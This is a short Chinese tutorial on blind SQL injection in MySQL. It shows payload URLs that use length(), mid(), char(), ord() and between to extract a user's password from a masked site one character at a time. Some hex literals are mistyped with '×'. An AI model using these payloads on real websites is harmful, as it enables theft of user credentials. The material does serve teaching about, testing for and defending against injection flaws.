在MySQL中内置了很多函数,利用它们,即使在没有联合查询功能的老版本MySQL上也可以做一些意想不到的操作。假设网站存在于http://www.****.com/,我们想知道用户ID等于10的用户的密码,那么首先进行如下请求: http://www.****.com/index.php?id=10 and length(password)=12#
我们通过length()函数以及是否正确返回正常页面来确定用户密码的长度,这里我们猜解的是12位,注意数字后要有一个#号。接下来用mid()和char()暴力猜解口令的每一个字符,如果猜对了则页面返回正常:
http://www.****.com/index.php?id=10 and mid(password,1,1)=char(0×60)#
Mid()函数原型是“Mid(str,pos,len)”,也可以用substring()函数。Char()函数的参数是ASCII值,在0~255之间,一个遍历过去就可以完成破解。 另外还可以用between()函数先判断这个字符是数字还是字母,缩小范围,加快暴力破解的速度。例如要判断字符是否是小写字母还可以用如下请求:
http://www.****.com/index.php?id=10 and (mid(password,1,1)) between char(0×61) and char(0x7A)# 除了char()函数,还可以用ord函数来进行猜解。Ord函数可以得到字符的ASCII值,所以它也能实现类似的功能:
http://www.****.com/index.php?id=10 and ord(mid(password,1,1))=0x6D#
用ord函数的另一个好处就是可以使用大于小于这种运算符来确定字符的范围:
http://www.****.com/index.php?id=10 and ord(mid(password,1,1))>0×41#
|